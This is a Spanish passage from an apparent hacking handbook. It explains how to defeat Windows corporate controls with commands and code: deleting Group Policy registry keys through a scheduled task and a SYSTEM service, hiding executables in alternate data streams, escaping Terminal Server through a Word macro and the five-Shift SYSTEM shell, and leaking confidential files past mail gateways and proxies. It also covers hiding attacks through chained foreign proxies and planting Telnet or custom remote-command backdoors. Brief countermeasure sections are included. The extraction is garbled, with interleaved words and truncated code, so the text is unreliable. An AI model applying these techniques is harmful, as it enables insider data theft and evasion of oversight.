Las políticas de grupo están definidas generalmente a nivel de la empresa por un administrador de dominio. Crea reglas que son aplicadas después a nivel del usuario o a nivel de equipo. Estas reglas, las GPO ( Group Policy Object), se refrescan en un intervalo configurable también por el administrador (por defecto, 90 minutos en los puestos de trabajo clientes). Cuando una GPO es aplicada a un software como Office o Internet Explorer, aplica las reglas configu-radas en el arranque del programa. Al arrancar el programa, este último va a leer las restricciones en el registro y las aplica al usuario. Cuando se aplica una GPO a parámetros de sistema, el momento de la aplicación dependerá de los parámetros. Si estos parámetros se aplican a una restricción software como la prohibición de usar el editor del registro o el administrador de tareas, o gestionar el cortafuegos, entonces el principio es generalmente el mismo; es la aplicación la que, en el momento de su apertura, leerá las restricciones aplicadas en el registro del usuario y en el registro local del equipo. Algunas funcionalidades bloqueadas por GPO se leen únicamente en el arranque del sistema o al inicio de la sesión. Si el registro se modifica después del arranque, no afectará a estos parámetros.

2. Bloquear la ejecución de las GPO

Para bloquear la aplicación de GPO, debe impedir a la aplicación bloqueada leer las restricciones del registro. Con anterioridad a Windows 7, era posible definir la seguridad de las claves de registro donde se almacenaban las restricciones e impedir al sistema que volviera a aplicar los permisos. Desde Windows 7 el sistema vuelve a aplicar automáticamente los permisos. Una de las maneras más simples consiste, por lo tanto, en suprimir regularmente las claves de registro. Para ello es necesario disponer de privilegios de administrador sobre el equipo.

a. Bloquear las políticas de grupo de usuario

Para impedir la aplicación de las restricciones a nivel de usuario, lo ideal es crear una tarea o un programa que se ejecutará cada 2 minutos para estar seguros de que, cuando el sistema vuelva a aplicar automáticamente las restricciones, estas serán rápidamente suprimidas.

La mayoría de las informaciones de bloqueo de parámetros de usuario se encuentra en la siguiente clave:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies HKCU\Software\Policies Eliminando el contenido de estas claves, podrá de nuevo modificar el cortafuegos, abrir el editor del registro y el administrador de tareas, modificar el salvapantallas, etc., si estas restricciones fueron aplicadas a nivel de usuario. Si tiene permisos para ejecutar el comando reg.exe, cree un ficherogpo.bat con las siguientes líneas: reg delete HKCU\Software\Policies\ /f reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Policies /f planificada con los siguientes parámetros:

Despué s añada una tarea

Indique la ruta del fichero bat.

Abra la nueva tarea planificada creada y marque la opción Ejecutar con los privilegios más altos.

En la segunda pestaña, modifique el disparador indicando una repetición cada 2 minutos, como en la siguiente imagen:

Cuando inicie su sesión, la tarea eliminará las restricciones ligadas a las políticas de grupo de usuario.

Si la política actual bloquea reg.exe, puede usar PowerShell para eliminar las claves del registro. Para ello, cree un fichero GPO.bat con las siguientes líneas:

Powershell -command "& {remove-ItemKCU:software\microsoft\windows\currentV ersion\policies -confirm:$true}" Powershell -command "& {remove-ItemKCU:software\policies -confirm:$true}" Este script tendrá el mismo efecto que el anterior.

b. Bloquear las políticas de grupo del equipo

Las políticas de grupo ligadas a un equipo se instalan al arrancar dicho equipo, y se refrescan, por defecto, cada 90 minutos. Si las eliminamos después del arranque del sistema, es posible que algunas sigan bloqueando la configu-ración. Por lo tanto, debemos eliminarlas antes del inicio de sesión y, si es posible, con permisos elevados. Para responder a esta problemática, creare-mos un servicio de Windows en .NET y lo instalaremos y configuraremos para que elimine las claves de registro con permisos de sistema. Abra el Bloc de notas y cree el fichero gpo.txt con el siguiente código:

using Microsoft.Win32; using System; using System.Collections.Generic; using System.IO; using System.Net; using System.Runtime.InteropServices; using System.Security.Permissions; using System.ServiceProcess; using System.Text; using System.Threading;

namespace PolicyService { [RegistryPermissionAttribute(SecurityAction.Demand)] static class Program { static void Main() { ServiceBase[] ServicesToRun; ServicesToRun = new ServiceBase[] { new PolicyService() }; ServiceBase.Run(ServicesToRun); } } [RegistryPermissionAttribute(SecurityAction.Demand)] public partial class PolicyService : ServiceBase {

protected override void OnStart(string[] args) { System.Timers.Timer minutero1 = new System.Timers.Timer();

El

servicio, en su arranque, eliminará las GPO cada 2 minutos. Para compilar el programa, en una ventana de comandos, acceda al directorio del framework instalado en su equipo (ver capítulo Desarrollar sus propias herramientas de hacking). Después ejecute el comando siguiente para compilar su servicio de Windows: Una vez C:\Windows\Microsoft.NET\Framework64\v3.5\ el servicio Csc /out:c:\temp\gpo.exe c:\temp\gpo.txt creado, abra una ventana de comandos con privilegios elevados e instálelo usando SC.exe:

sc create "Bloqueador GPO" binpath= "C:\temp\gpo.exe” start= auto

El

servicio arrancará automáticamente al arrancar el equipo y usará los permisos de sistema. Para probar el funcionamiento del servicio, reinicie su equipo después de la instalación.

El único inconveniente de este procedimiento, es que se necesitan permisos de administrador para poder instalar el servicio. Pero una vez instalado, ya no se necesitan estos permisos.

3. Contramedidas

Para bloquear las políticas de grupo del equipo, debe ser administrador de este. Conviene, por lo tanto, asegurarse de que los usuarios no dispongan del rol de administrador del equipo. Después, puede bloquear las aplicaciones como reg.exe o SC.exe, lo que impedirá la modificación del registro y la instalación del servicio. Sin embargo, no es suficiente, ya que reg.exe no es la única manera de modificar el registro (regedit, PowerShell, .NET, etc.), así como un servicio no es la única manera de tener permisos de sistema (ver capítulo Tomar el rol de administrador o de sistema).

Sería más sabio en estos casos autorizar solamente una lista de aplicaciones definidas usando restricciones de software y políticas de grupo, pero esto debe realizarse antes de la instalación del servicio pirata; si no, será demasiado tarde.

Rodear las restricciones corrientes Como se habrá percatado, la mayor parte de las políticas de grupo no bloquean una aplicación, sino que es la aplicación la que se bloquea leyendo su restricción en el registro. No siempre es posible modificar o suprimir las claves de registro que limitan una actividad, ya que se necesitan permisos suficientes en el sistema. Microsoft

propone a los administradores otras herramientas distintas de las GPO para forzar un determinado funcionamiento; por ejemplo, Preferencias, AppLocker o el despliegue de las claves de registro por medio de scripts en el inicio de sesión. Los usuarios tienen también medios para rodear las restricciones clásicas configuradas. Entre estos medios integrados en el sistema operativo, tenemos: •

La ventana de comandos.



PowerShell.



La creación de un programa .NET que usa o no WMI, y la compilación.



La creación de una macro en un documento de Office.



La creación de un script VBS que utiliza, según el caso, WMI.

El sistema operativo contiene todo lo necesario para rodear las restricciones impuestas por una directiva. Si el usuario es administrador de su equipo, las políticas de grupo podrán ser rodeadas o eliminadas en su casi totalidad. Vamos a enumerar las más frecuentes, así como los medios más utilizados para rodearlas.

1. El explorador de Windows

El explorador de Windows está totalmente integrado en el sistema. Lo usa en cuanto navega por sus carpetas. El administrador puede elegir esconder o impedirle acceder a un disco aplicando una directiva de grupo. Aquí no se trata de la seguridad definida con NTFS, sino del acceso a todo un disco.

a. Principio de funcionamiento

Como ha podido ver en el apartado anterior, cuando el sistema operativo aplica una directiva de grupo, escribe estas informaciones en el registro. Las claves de registro que corresponden a este bloqueo son las siguientes:

HKCU\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer "NoDrives"=dword:00000001 HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\explorer "NoViewOnDrive"=dword:00000001 HKLM\Software\Microsoft\Windows\CurrentVersion\\Policies\\explorer "NoDrives"=dword:00000001 HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\explorer "NoViewOnDrive"=dword:00000001 Las restricciones pueden estar escritas en los parámetros del usuario o en los del equipo. Cuando se aplica la directiva, el explorador, al abrirse, va a leer esta clave de registro y a mostrar o permitir todo lo que no está bloqueado.

b. Rodear para explorar los ficheros

Es el explorador quien le impide ver el disco y lo que se encuentra en él. Basta con coger otra herramienta para tener un acceso completo.

Puede usar la línea de comandos con dir para mostrar las carpetas y directorios. Use CD para acceder a un directorio.

C:\>dir El volumen de la unidad C es Disk+ El número de serie del volumen es: 3EC5-30B9C

Directorio de C:\

02.05.2013 11:08

ExchangeBPALogs

19.02.2013 20:55

inetpub

19.11.2012 17:06

Intel

Puede también usar PowerShell con los comandos

ls, dir o get-child-Item. Si

PS C:\> get-childitem

Directorio : C:\

Mode ----

LastWriteTime -------------

Length Name

------ ----

d----

02.05.2013

11:08

ExchangeBPALogs

d----

19.02.2013

19:55

inetpub

d----

19.11.2012

16:06

Intel

puede descargar programas, puede buscar una herramienta como Multi Commander, que es gratuita y existe en versión portable. Puede instalarla sin permisos de administrador.

Existen en Internet otras herramientas con las mismas funciones.

2. El registro

El sistema operativo usa el registro como una base de datos; allí almacena y recupera mucha información. Parte de esta información podría ser susceptible de lectura o modificación. Es por eso por lo que un administrador puede considerar el bloqueo de la edición del registro aplicando una política de grupo.

a. Principio de funcionamiento

Cuando una directiva de grupo es aplicada para impedir la edición del registro, el principio que se pone en marcha es el mismo que para el explorador de Windows. Es el programa Regedit, regedt32 o también el programa de línea de comandos reg.exe el que va a leer en el registro, a su apertura, si tiene o no el permiso de ejecutarse.

Al utilizar una de estas herramientas, obtendrá un mensaje explícito.

Se aplica este bloqueo con una de las dos claves de registro siguientes:

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System

b. Las

"DisableRegistryTools"=dword:00000001 HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System "DisableRegistryTools"=dword:00000001

modificaciones para ver o modificar el registro

Cuando la edición del registro está bloqueada por una directiva de grupo, es imposible ejecutarRegedit.exe o regedt32.exe. El comando reg tampoco funciona. Sin embargo, PowerShell permite leer las informaciones sin ningún problema. Abra PowerShell y escriba el comando siguiente:

PS H:\> Get-ChildItem HKCU:software\microsoft\windows\currentVersion\policies

Hive: HKEY_CURRENT_USER\software\microsoft\windows\ currentVersion\policies

Name ---Explorer

System

Property -------NoDriveTypeAutoRun : 145 NoViewOnDrive

:2

DisableTaskMgr

:1

DisableRegistryTools : 1 Puede observar que se puede recorrer el registro independientemente de la limitación. Con permisos de administrador en su equipo, puede, a pesar de la restricción, suprimir una clave de registro, como por ejemplo la que nos impide arrancar regedit.exe. Abra PowerShell con permisos de administrador.

remove-Item HKCU:software\microsoft\windows\currentVersion\policies\system resultado después de la eliminación:

Y el

PS H:\> get-ChildItem HKCU:software\microsoft\windows\currentVersion\policies

Hive: HKEY_CURRENT_USER\software\microsoft\windows\ currentVersion\policies

Name ---Explorer

Property -------NoDriveTypeAutoRun : 145 NoViewOnDrive

:2

PS H:\> Ahora puede arrancar el editor del registro, así como el administrador de tareas.

Puede también descargarse y usar un programa portable, como Registry Commander.

La restricción solo se aplica al editor del registro integrado en Windows. Existen suficientes soluciones para que pueda encontrar una que le convenga.

3. El administrador de tareas

Un programa de seguridad puede ser detectado y parado gracias al administrador de tareas; permite mostrar y parar procesos y servicios. Un administrador puede elegir, entonces, bloquearlo usando una directiva de grupo.

a. Principio de funcionamiento

El administrador de tareas, en su arranque, lee el registro para controlar si tiene permiso para ejecutarse. Cuando la directiva de grupo se aplica, el administrador de tareas se desactiva. Las claves de registro son leídas por la aplicación.

b. Las

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System "DisableTaskMgr"=dword:00000001 HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System "DisableTaskMgr"=dword:00000001

modificaciones para ver, destruir o crear un proceso Para ver los procesos en ejecución en su equipo o un equipo remoto, utilice

tasklist:

tasklist /fo list

Para parar un proceso local o remoto, use

taskkill con el PID o el nombre del proceso.

Taskkill /pid 2321 Taskkill /im notepad.exe Vemos en la siguiente imagen el administrador de tareas bloqueado y la línea de comandos funcionando.

Si el administrador ha tomado la decisión de bloquear tasklist y taskkill, puede usar WMI en la línea de comandos. Ejecute Wmic.exe y después process.

C:\>wmic wmic:root\cli>process Caption

CommandLine

System Idle Process System smss.exe csrss.exe wininit.exe services.exe lsass.exe svchost.exe Puede arrancar también un proceso con el comando Wmic:

O

wmic process call create mspaint.exe también parar uno:

C:\>wmic process where (Name="mspaint.exe") delete Eliminando el proceso \\PCWOLW8000\ROOT\CIMV2:Win32_Process.Handle="828" La eliminación del proceso ha terminado. PowerShell permite también ver los procesos:

PS C:\> Get-Process

Handles NPM(K) PM(K) ------- ------ -----

WS(K) VM(M) CPU(s) Id ProcessName

----- ----- ------ -- -----------

armsvc 97

8 7004

8716 37 0,22 6744 audiodg

51

8 2344

6452 59 0,42 4592 conhost

164

26 4780

14908 104 0,90 2632 Control Center

469

15 2328

5268 54

616 csrss

414

18 2332

44304 89

8472 csrss

443

34 11476

23448 127

2852

Arrancar uno:

Y

Start-Process notepad.exe pararlo:

Stop-Process -Name notepad

4.

Gestión de ficheros con FSRM

Al instalar un servidor de ficheros, a partir de Windows Server 2003 R2, es posible configurar, por parte de los administradores, la herramienta para gestionar mejor las carpetas compartidas, así como los ficheros que contienen. Esta herramienta da a los administradores la posibilidad de definir una cuota por carpeta y por usuario, bloquear tipos de ficheros, tener informes sobre el contenido, definir acciones personalizadas, como enviar un correo electrónico cuando un usuario malintencionado trata de añadir un fichero prohibido en un espacio de almacenamiento protegido.

a. Principio de funcionamiento

Esta herramienta se basa en reglas donde el administrador define quién y qué tipo de ficheros son bloqueados en una carpeta y sus subcarpetas. El administrador puede basarse en grupos predefinidos o crear los suyos propios. Lo que es importante comprender en este tipo de bloqueo es que el sistema operativo se basa en la extensión del fichero que es escrito o copiado en la carpeta compartida. Cuando trata de guardar una imagen, aparece un mensaje:

b. Esconder un fichero con la ayuda de otro documento

Para rodear este bloqueo, basta con renombrar el fichero que desee guardar en la carpeta compartida para cambiar la extensión. Es muy simple, pero esto presenta la desventaja de tener que renombrar el fichero cada vez que desea abrirlo.

Puede rodear este problema de forma más sencilla incluyendo sus ficheros en un fichero zip. Si las extensiones de tipo zip son bloqueadas, renombre el fichero con la extensión de un documento de Office, como DOCX, antes de copiarlo en la carpeta compartida.

Los ficheros DOCX y las nuevas extensiones de Microsoft Office desde 2007 son realmente ficheros zip. Puede probarlo renombrando un documento Word con extensión .docx a .zip y abrirlo. Los ficheros zip que se renombran a docx son difícilmente detectables.

También puede rodear este bloqueo copiando sus ficheros directamente en un documento de Word o también en Wordpad. Sus ficheros serán mucho más discretos y sencillos de acceder. Para ello, abra Wordpad, seleccione los ficheros, cópielos y péguelos en el documento.

Guarde el documento en la carpeta compartida. No será bloqueado.

c. Esconder un fichero con los flujos alternativos

El sistema de ficheros NTFS permite añadir informaciones alternativas en un fichero o una carpeta. Este tipo de flujo es usado por los sistemas operativos para definir metadatos.

Puede usar los flujos alternativos como solución para rodear las restricciones de software, pero los flujos alternativos son más sencillos de detectar con las herramientas de base que los ficheros embebidos en un documento o una imagen. Los flujos alternativos no son tan explotables como lo eran en el pasado, con Windows XP. Por ejemplo, ya no es posible ejecutar una aplicación directamente desde un flujo alternativo. Para esconder un fichero en otro documento o carpeta, utilice el comando:

Type miAplicacion.exe > N:\carpeta\documento.doc:app.exe Para ejecutar la aplicación, debe crear un enlace simbólico con el programa escondido; esto funciona correctamente en Windows 7. Windows 8 no permite los enlaces simbólicos sobre un ADS ( Alternate Data Stream). Ejecute el comando con permisos de administrador: mklink c:\temp\c.exe N:\carpeta\documento.doc:app.exe simbólico:

C:\temp\c.exe Para leer y escribir ficheros, puede usar un script VBS.

Ejecute el enlace

Para escribir, cree un nuevo fichero VBS con el Bloc de notas.

Dim FSO Set fso = CreateObject("Scripting.FileSystemObject")

’1 para leer ’2 para escribir Set f = fso.OpenTextFile("c:\temp\ecr.txt:test", 2,true) f.write("Hola") Para leer el fichero, haga lo mismo con el siguiente código:

Set oFso = CreateObject("Scripting.FileSystemObject") Set fi = oFso.OpenTextFile("c:\temp\ecr.txt:test", 1) ts = fi.ReadAll ’-- Lee la totalidad del fichero Msgbox(ts) fi.close Para extraer un fichero exe desde un ADS:

Set fi = oFso.OpenTextFile("c:\temp\test.txt:calc.exe", 1) ts = fi.ReadAll ’-- Lee la totalidad del fichero Set f = fso.OpenTextFile("c:\temp\test4.exe", 2,true) f.write(ts) f.close Para ejecutar desde VBS:

set shl = createobject("wscript.shell" )

d.

shl.run "c:\temp\test4.exe"

Encontrar los flujos alternativos

Con el explorador de Windows, no encontrará más que los ficheros normales, como documento.docx en la imagen siguiente. Los flujos alternativos no se muestran.

Para mostrarlos, debe usar el comando

dir /r. Este comando está disponible desde Windows Vista.

C:\temp>dir /r Ads El volumen de la unidad C no tiene etiqueta. El número de serie del volumen es: C0FA-8053

Directorio de C:\temp\Ads

25/07/2014 19:53

.

25/07/2014 19:53

..

25/07/2014 19:52

0 documento.doc 0 documento.doc:app.exe:$DATA

25/07/2014 19:43

0 test 0 test:test.exe:$DATA

2 archivos

0 bytes

2 dirs 17.382.735.872 bytes libres Este comando tiene la desventaja de mostrar los flujos alternativos, pero también todos los demás ficheros. Le proponemos el código .NET siguiente, con el que obtendrá un programa basado en dir y que muestra únicamente los flujos alternativos. Cree un nuevo documento de texto ADS.txt con el siguiente código:

using System; using System.Collections.Generic; using System.Text; using System.Diagnostics; using System.IO;

namespace ADS_Reader { class Program { static string rutaBase = @"c:\"; static string VariableDir = @"Directorio de "; static void Main(string[] args) { try { if (args.Length > 0) { rutaBase = args[0].Trim(); } else { Console.WriteLine("Especifique la ruta a probar como argumento."); } } catch { } Console.WriteLine("Por favor espere."); Process p = new Process(); p.StartInfo.RedirectStandardOutput = true; p.StartInfo.UseShellExecute = false; p.StartInfo.Arguments = "/c dir " +rutaBase +" /r /s"; p.StartInfo.FileName = "cmd.exe"; p.Start();

Acceda al

directorio del framework instalado en su sistema operativo:

Cd C:\Windows\Microsoft.NET\Framework\v3.5 csc /out:c:\temp\ads.exe c:\temp\ads.txt Una vez el fichero compilado, para ejecutarlo, indique el nombre del programa y como parámetro la carpeta de inicio de análisis.

Ads.exe c:\temp\ads\

El

programa devolverá únicamente las carpetas y los ficheros que contengan flujos alternativos.

Como ha podido ver, los flujos alternativos son interesantes, no siempre sencillos de poner en marcha y muy sencillos de detectar.

5. Ejecutar otras aplicaciones que no sean las previstas en un Terminal Server

Un Terminal Server permite instalar una aplicación que se ejecuta en el servidor. El usuario no necesita instalar la aplicación en su equipo. Podrá utilizarla desde el TS (Terminal Server) y, dependiendo del modo de despliegue, podrá también ejecutar la aplicación desde un sitio web. Este modo de ejecución evita problemas de despliegue de aplicaciones y de migración, y permite trabajar con aplicaciones profesionales en equipos privados, ya que nada se instala en estas. Este modelo permite también conectarse local o remotamente por una pasarela web Terminal Server.

a. Principio de funcionamiento

Los administradores que despliegan aplicaciones por las WebApp de Microsoft pueden definir qué usuario ve qué aplicaciones en sus accesos directos. El objetivo es de no dejar todas las aplicaciones a todo el mundo, ya sea por razones de licencias o de seguridad.

b. Rodear con un acceso directo

El error es creer que el atajo presentado es el único modo de ejecutar un programa. Desde la mayoría de los programas publicados es posible explorar el sistema. Por ejemplo, en Word, basta con guardar un documento para poder navegar por las carpetas.

Para ejecutar otra aplicación distinta de la prevista, añada un acceso directo al guardar su documento. Haga clic con el botón derecho del ratón en la zona donde se encuentran normalmente los ficheros guardados, después cree un acceso directo. El acceso directo apuntará a cmd.exe o powershell.exe.

En la misma ventana, en vez del nombre del fichero, escriba «*» un asterisco, y pulse la tecla [Intro]. Esto tendrá por efecto mostrar todos los ficheros de la carpeta incluyendo los accesos directos. Haga clic en el acceso directo con el botón derecho del ratón y después en Abrir.

Recuerde que es posible desde la línea de comandos o desde PowerShell arrancar otra aplicación, editar el registro, descargar una aplicación, etc.

c. Rodear con un documento de Office En la medida en que su Terminal Server le da la posibilidad de abrir una aplicación como Word de la suite Office o Writer de la suite OpenOffice, podrá, para abrir otra aplicación, crear una macro en VBA (Visual Basic for Applications). Abra Microsoft Word y haga clic en Archivo - Opciones. En la pestaña Personalizar cinta de opciones, marque, en la columna de la derecha, el menú Desarrollador y haga clic en Aceptar.

Una vez haya vuelto al documento, haga clic en la pestaña Desarrollador y añada un botón en su documento desde la parte de Controles.

Active el Modo Creación, y haga doble clic en el botón para añadir el siguiente código: Private Sub CommandButton1_Click() x = Shell("powershell", vbNormalFocus) End Sub desactive el Modo Creación y haga clic en el botón creado.

Guarde, cierre la ventana de código,

La consola PowerShell se abre. Tiene ahora la posibilidad de realizar muchas más tareas que con el Terminal Server, como explorar y modificar los ficheros, el registro, etc.

d. Rodear con el login

En la medida en que ya ha hecho que el administrador del servidor de Terminal Server ejecute una aplicación trampa (técnica descrita en el capítulo Tomar el rol de administrador o de sistema), podrá conectarse al Terminal Server sin login o usando el login de una sesión bloqueada.

Para ello, en el Terminal Server, al solicitar la contraseña, pulse 5 veces seguidas la tecla [Mayús]. También puede, si tiene permiso para autenticarse, loguearse y pulsar [Crtl][Alt][Fin]. Esta combinación de teclas produce el mismo efecto que [Crtl][Alt][Supr] en un PC normal. En esta ventana también puede pulsar 5 veces la tecla [Mayús]. Esto abrirá una ventana de comandos con los privilegios de sistema.

Una vez abierta la consola, ejecute taskmgr.exe para acceder al administrador de tareas con permisos de sistema. Vaya a la pestaña Usuarios y, con el botón derecho del ratón, haga clic en Conectarse a en la sesión desconectada que le interese abrir.

Se abrirá la sesión sin solicitarle la contraseña. Esto forma parte de los privilegios atribuidos a la cuenta de sistema.

6. Pasarela de mail

Algunas empresas ponen en marcha sistemas para evitar el robo de datos. Bloquean los puertos USB, impiden la grabación de CD, instalan proxies y pasarelas de correo.

Una pasarela de mail es puesta en marcha por un administrador de red con el fin de impedir que los correos de spam y los correos malintencionados lleguen a la red interna de la empresa, lo que es una buena práctica. Este tipo de software se utiliza también para impedir la extracción de ficheros confidenciales. Un producto como este se basa en la clasificación de los documentos o en la extensión de los ficheros que lo atraviesan para autorizar o bloquear su salida.

a. Principio de funcionamiento

Una pasarela de mail se instala entre el servidor de correo y la conexión a Internet. Los correos salientes son automáticamente enviados al programa, analizados por este último y, si se detecta un documento importante, el correo electrónico se bloquea. Este sistema permite, por lo tanto, evitar el robo de documentos por correo electrónico.

b. Rodear para filtrar ficheros

El correo electrónico pasa por la pasarela solo en el momento del envío. Para filtrar ficheros, basta con crear un correo, añadirle los ficheros que queremos filtrar y guardarlo como borrador sin enviarlo. Una vez en el exterior de la empresa, abra el webmail y descargue el fichero confidencial. El correo no será bloqueado, ya que no habrá pasado por la pasarela. También puede esconder el documento en otro documento. Para ello, cree un fichero zip y cópielo en un documento .doc como hemos visto en el apartado Gestión de ficheros con FSRM.

7. Proxy Web

En una empresa, una proxy web tiene varias funciones. Una de las principales es ofrecer una caché para las páginas web descargadas con el fin de acelerar la navegación. La segunda es definir reglas de salida para los sitios web autorizados o bloqueados. Un servidor como este permite a la persona que navega estar segura dando la IP del proxy en vez de la suya en el seno de la empresa. Analiza, para garantizar la seguridad de la empresa, el tráfico recibido y enviado.

a. Principio de funcionamiento

Un proxy web se sitúa entre el navegador del cliente y la conexión a Internet. Es el proxy quien resuelve los nombres en direcciones IP. El DNS (Domain Name System) del cliente no tiene, por lo tanto, ninguna influencia en la resolución de nombres. El tráfico analizado es principalmente HTTP, FTP y en ocasiones HTTPS. La conexión se establece entre el navegador y el proxy, y una nueva conexión se crea entre el proxy y el sitio web. El tráfico saliente es en ocasiones analizado para evitar el robo de ficheros.

En el caso de HTTPS, el tráfico es, por defecto, directamente enviado al servidor sin ser analizado. El análisis de los flujos HTTPS es más complejo de poner en marcha y alguna vez se considera como intrusivo.

b. Rodear para cargar o descargar ficheros

En el caso de la extracción de ficheros confidenciales o la descarga de ficheros normalmente bloqueados, se pueden separar dos casos principales: analizando o sin analizar el flujo HTTPS.

Si el servidor proxy no analiza el tráfico HTTPS, basta con cargar los ficheros que se han de extraer o descargar un fichero normalmente bloqueado en un servidor usando una conexión segura. Si no dispone de una, puede utilizar SkyDrive. Vaya a la URL https://skydrive.live.com/, regístrese y cargue o descargue sus ficheros. El sitio de Microsoft soporta la conexión con HTTPS de forma nativa.

Si el servidor proxy analiza el tráfico HTTPS, el procedimiento es un poco diferente. En el análisis del tráfico HTTP o HTTPS, cada petición de carga de un fichero es transmitida al proxy que lo analiza, y crea una nueva conexión hacia el sitio web remoto si no se detecta nada anormal. En la descarga, el fichero es almacenado en general en el proxy, analizado por el servidor y transmitido al usuario si el fichero no es clasificado como peligroso. Debemos, por lo tanto, esconder el fichero o impedir un posible análisis. Añadir su fichero en un fichero zip no es suficiente, ya que será analizado. Si indica una contraseña en su fichero zip, será en la mayoría de los casos bloqueado. Una de las mejores maneras es disimular su fichero en un documento de Office, como un .doc, usando Word o WordPad. El método está descrito en el apartado Gestión de ficheros con FSRM.

Solo le queda cargar o descargar su documento en o desde SkyDrive. Si SkyDrive está bloqueado, también puede crear su propio servidor con un certificado web.

c. Rodear para navegar

Un servidor proxy puede usarse para impedir a los empleados visitar ciertos sitios valorados como improductivos, sin interés o peligrosos para la empresa. Los sitios web son bloqueados generalmente por la URL de destino. Cuando el navegador pide una página al servidor, el proxy controla en su lista si la web está bloqueada o autorizada basándose en su URL. Cuando el sitio web es permitido, el proxy descarga cada elemento de la página, lo analiza, lo transmite al navegador y la almacena en su caché. Para evitar este bloqueo, debe acceder a un sitio web que no tenga su URL bloqueada.

La URL define un sitio web. Entonces, ¿cómo visitar un sitio web bloqueado? Simplemente utilizando un proxy externo cuya dirección no será la del sitio web bloqueado y que reenvía las páginas con otra URL.

Puede encontrar proxies para navegar libremente efectuando una búsqueda en Internet.

Cuando utiliza un proxy externo, sus logins y contraseñas se envían al servidor. Estas informaciones pueden almacenarse sin su consentimiento.

Los proxies externos también permiten estar escondidos al realizar un ataque o al buscar información. La IP dada al servidor web será la dirección del proxy externo.

Dependiendo del proxy, la IP será cada vez distinta. El servidor puede estar alojado en un país lejano.

Abajo, la IP del servidor proxy utilizado es de la India.

Este tipo de servidores se utiliza mucho para no ser detectado al realizar un ataque. Para estar bien escondido, puede configurar su navegador de modo que utilice un proxy en Rusia y, a través de su navegador, pasar por un proxy web en la India. Será muy difícil para el administrador del servidor atacado remontar hasta el atacante.

8. Contramedidas

Una de las únicas maneras de reducir la posibilidad de usar un programa no previsto es definir una lista de aplicaciones autorizadas y bloquear todas aquellas que no se encuentra en dicha lista. Puede realizar esto usando las restricciones de software y las políticas de grupo. Piense también en impedir al usuario escribir en las carpetas de las aplicaciones autorizadas aplicando permisos NTFS.

Para impedir a un usuario esconder ficheros en otros, solo existe por desgracia el análisis con un antivirus o un programa de terceros. FSRM solo gestiona las extensiones de ficheros. Los flujos alternativos se pueden detectar fácilmente con la herramienta que se le ha propuesto desarrollar.

El uso de un proxy externo para navegar en un sitio web externo bloqueado puede vigilarse y bloquearse si su proxy se encarga de las listas dinámicas de contenido. Se deben analizar regularmente los log y visitar los sitios web sospechosos.

El robo de documentos confidenciales es, por desgracia, difícil de combatir. Una pasarela de correo o un proxy reducen las posibilidades, pero no son en general «estancos». La única contramedida de verdad consiste, por lo tanto, en impedir el uso del documento robado, y no el robo en sí mismo. Para ello, puede clasificar sus documentos manualmente o con la ayuda de FSRM y protegerlos cifrándolos con Microsoft RMS ( Rights Management Services).

Tomar el control de un equipo remoto Tomar el control de un equipo quiere decir que este obedecerá a todos nuestros deseos. Si disponemos de una cuenta de usuario en el equipo, podremos entonces activar un cierto número de funcionalidades previstas para la administración con el fin de poder seguir teniendo acceso al equipo. También podemos hacer que se instalen y activen nuestros propios programas en el equipo de un usuario con el fin de controlar su equipo.

1. Utilización de las herramientas de administración de Windows

Una cuenta de usuario local puede estar más o menos escondida en un PC o un servidor. En un Active Directory, puede estar escondida entre la multitud de usuarios existentes. Para administrar un servidor remoto, los sistemas de Windows proponen muchas herramientas, como Winrm, el escritorio remoto yTelnet. Winrm y Telnet permiten ejecutar comandos remotamente. Ambos necesitan disponer de una cuenta autorizada para la conexión.

a. Instalar Telnet Server

Para administrar un equipo remoto, vamos a instalar Telnet Server en el equipo remoto y Telnet Client en el suyo.

Para instalar Telnet Server, use la línea de comandos con privilegios de administrador con el comando siguiente:

pkgmgr /iu:"TelnetServer" /quiet Configure el servicio para que arranque automáticamente y modifique el contexto de ejecución para que el servidor Telnet se ejecute con privilegios de sistema:

Sc config TlntSVR start= auto obj= localsystem Después arranque el servicio:

Sc Start TlntSVR Puede cambiar el puerto del servidor con el comando:

Tlntadmn config port=443

b.

Usar el Cliente Telnet

Para poder conectarse a un servidor Telnet, debe disponer de un cliente. Desde Windows Vista, Telnet Client no se instala por defecto. Puede instalarlo con el comando que sigue o hacerlo por el Panel de control:

pkgmgr /iu:"TelnetClient" /quiet Una vez instalado el programa, arranque Telnet con la dirección IP o el nombre del equipo remoto como parámetro. Si ha cambiado el puerto, añádalo como segundo parámetro.

Telnet nombreEquipo Una vez conectado, debe introducir sus credenciales.

Es la manera más simple de tener acceso remoto a un equipo. Resulta sin embargo, complicado de poner en marcha, ya que la persona que ejecute su programa trampa debe tener privilegios de administrador y debe disponer de una cuenta en el equipo remoto.

c. Usar PuTTY

Si no puede instalar Telnet en su equipo, puede descargar y usar PuTTY. Descargue el programa en el siguiente enlace: http://www.putty.org

Una vez descargado, puede ejecutarlo sin instalación. Solo debe conectarse indicando que quiere utilizar Telnet, la dirección IP y el puerto si lo ha cambiado.

PuTTY es una aplicación útil que puede servir a numerosos fines. La utilizaremos como cliente potencial para nuestros desarrollos propios.

2. Usar una aplicación NetCommand en .NET

Telnet Server y Winrm son prácticos, pero se necesita disponer de permisos de administrador para instalarlos y arrancarlos. También es necesario disponer de una cuenta de usuario válida, con su contraseña, en el equipo remoto. Un usuario sin permisos de administrador no puede, por lo tanto, ser manipulado por un script que instale el servidor Telnet. Y si la cuenta que había creado es eliminada por el administrador, ya no podrá acceder con Telnet.

a. Crear una aplicación de servidor

Para paliar el problema del servidor Telnet, vamos a crear una aplicación aproximadamente similar. Esta aplicación debe poder ejecutarse con permisos de usuario y no necesitar login al realizar la conexión remota. El puerto de destino deberá poder elegirse para estar seguro de que la aplicación podrá recibir las peticiones de conexión pasando por el cortafuegos local. Cree un fichero de texto Netcmd.txt con el Bloc de notas y añada el siguiente código:

using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Text; using System.Net; using System.Net.Sockets;

